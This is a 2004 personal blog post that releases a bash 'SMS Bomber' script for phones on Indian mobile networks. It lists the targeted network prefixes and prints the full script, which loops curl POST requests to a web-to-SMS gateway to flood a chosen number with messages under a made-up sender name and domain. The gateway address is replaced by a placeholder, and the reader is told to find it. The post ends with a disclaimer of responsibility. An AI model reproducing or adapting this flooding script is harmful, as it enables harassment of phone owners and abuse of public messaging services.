Friday, November 12, 2004

My SMS Bomber! phew!

Finally!
After 2 hours of fiddling with BASH, i made this small script that sends 'n' number of SMS's to any (hopefully) network in India (atleast Hutch), that allows recieving SMS from WWW.

Networks covered...
9810,9811,9812,9813,9815,9816,9818,9821
9822,9823,9824,9826,9828,9830,9831,9837
9839,9840,9841,9842,9843,9845,9846,9847
9848,9849,9866,9880,9884,9885,9886,9890
9891,9892,9893,9894,9895,9896,9897,9898
9899

Its a GPL app, so i'm officially releasing the source code here...

###################################################

## Maku's SMS bomber
## Released under GPL
###################################################

clear
bold=`tput smso`
offbold=`tput rmso`

echo "${bold}"
echo -e " SMS Bomber "
echo "${offbold}"

echo -e "Enter 1st 4 digits of cell number: \c"
read num1
echo -e "Enter rest of digits of cell number: \c"
read num2
echo -e "Enter your name: \c"
read name
echo -e "Enter \"from Domain\" (example: yahoo.com): \c"
read domain
echo -e "Enter your message (single line of text): \c"
read message
echo -e "How many times to send: \c"
read numBomb

echo -e "Bombing ${bold} $num1$num2 ${offbold},\c"
echo -e "$numBomb times from $name@$domain...\n"

while [ $numBomb -ne 0 ]
do
# Make this as a single line
curl -d "prefix=`echo $num1`&suffix=`echo $num2`&name=`echo $name`
&email=`echo $name`%40`echo $domain`&message=`echo $message`
&confirmation=no&char_count=4&sub=Send+SMS" http://aa.bb.cc.dd/
cell/smsgateway.asp > /dev/null 2>&1
# Make this as a single line
# Sorry, i cant disclose that IP address! Security concerns!
# Figure it out yourself (google) & then use it!

echo "Sending SMS to $num1$num2 -- $numBomb"
numBomb=`echo $numBomb-1 | bc`
done

echo "${bold}"
echo -e " Thank you for using SMS Bomber "
echo "${offbold}"

###################################################

Hehe, you cant SMSbomB me using this as IDEA does not allows reception of SMS's via WWW :-D
lol...

makuchaku

PS: I take no responsibility, what-so-ever for the usage of this code!

No comments: